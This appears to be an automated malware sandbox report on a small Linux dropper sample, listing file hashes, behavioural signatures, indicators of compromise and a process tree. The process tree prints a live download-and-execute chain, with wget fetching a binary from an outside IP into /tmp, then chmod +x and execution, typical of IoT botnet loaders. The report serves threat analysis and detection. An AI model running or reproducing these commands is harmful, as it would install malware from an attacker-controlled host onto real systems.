Analysis
- max time kernel
121s - max time network
145s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
01/11/2026, 22:25
Static task
static1
Behavioral task
behavioral1
Sample
d2a601d6f8bded9a1a4b5595b3b94950b72b3a5d25feb64c16f0435d41f8e2d0
Resource
ubuntu1804-amd64-20261019-en
Behavioral task
behavioral2
Sample
d2a601d6f8bded9a1a4b5595b3b94950b72b3a5d25feb64c16f0435d41f8e2d0
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
d2a601d6f8bded9a1a4b5595b3b94950b72b3a5d25feb64c16f0435d41f8e2d0
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
d2a601d6f8bded9a1a4b5595b3b94950b72b3a5d25feb64c16f0435d41f8e2d0
Resource
debian9-mipsel-20260513-en
General
- Target d2a601d6f8bded9a1a4b5595b3b94950b72b3a5d25feb64c16f0435d41f8e2d0
- Size 360B
- Sample261101-2b4n3ayvas
- SHA256 d2a601d6f8bded9a1a4b5595b3b94950b72b3a5d25feb64c16f0435d41f8e2d0
- MD5 6bf80ecc102ec7ee8e7bb97a336c2ce7
- SHA1 53569f05141234ecd59fe0f47e8169602818652c
- SHA512 455a32bbe1e6ac1a8e3669f98742c21585fcbab44b299ec976aaa874eebd8050a6b3ac2a97ef55f61cc3763029e25a8a0f469d6fe39cc97f69905cb0d25e0d0b
- TLSH T198E026B2B65202BA6DDC846BD2ADC5A8308170421845F6FCF537723A478D2E9F526FB1
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 674 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/arm 675 d2a601d6f8bded9a1a4b5595b3b94950b72b3a5d25feb64c16f0435d41f8e2d0 - Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
description ioc Destination IP 51.77.149.139 - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/arm wget
Processes
-
/tmp/d2a601d6f8bded9a1a4b5595b3b94950b72b3a5d25feb64c16f0435d41f8e2d0/tmp/d2a601d6f8bded9a1a4b5595b3b94950b72b3a5d25feb64c16f0435d41f8e2d01⤵
- Executes dropped EXE
PID:646 -
/usr/bin/wgetwget http://45.93.200.191/release/arm -O /tmp/arm2⤵
- Writes file to tmp directory
PID:647
-
-
/bin/chmodchmod +x /tmp/arm2⤵
- File and Directory Permissions Modification
PID:674
-
-
/tmp/arm/tmp/arm aterna2⤵PID:675
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path /tmp/arm
- Size 221KB
- SHA256 c59b74ca89b865943f60a57517652548d37f8e3a05d7f50231dbdefa990c5987
- MD5 09f82505780f16bac48974c9e5697547
- SHA1 b45e555788472c6b47fc5da781ef5385712e132c
- SHA512 b987233deff1b8870012282b44adf56987f75e21f68b774ab3b20c54c5d462d16cd8dd3974830d8914de08a6e70e640d75df3da054cd608f0a629715758bb555
- SSDEEP 6144:9FRCgwuYf0HckrAKQk8c779VtyFYKiKH3vtZmLE1SMyV+lH1:9FRCvurA41TsYKiKH3vtwLE1SMyV+lH1
- TLSH T145242B01BD518F53C5D32BBBB79F42993732672887EB7302DA18BE742F4669D0E26211
- MD5 SHA1 SHA512 SSDEEP TLSH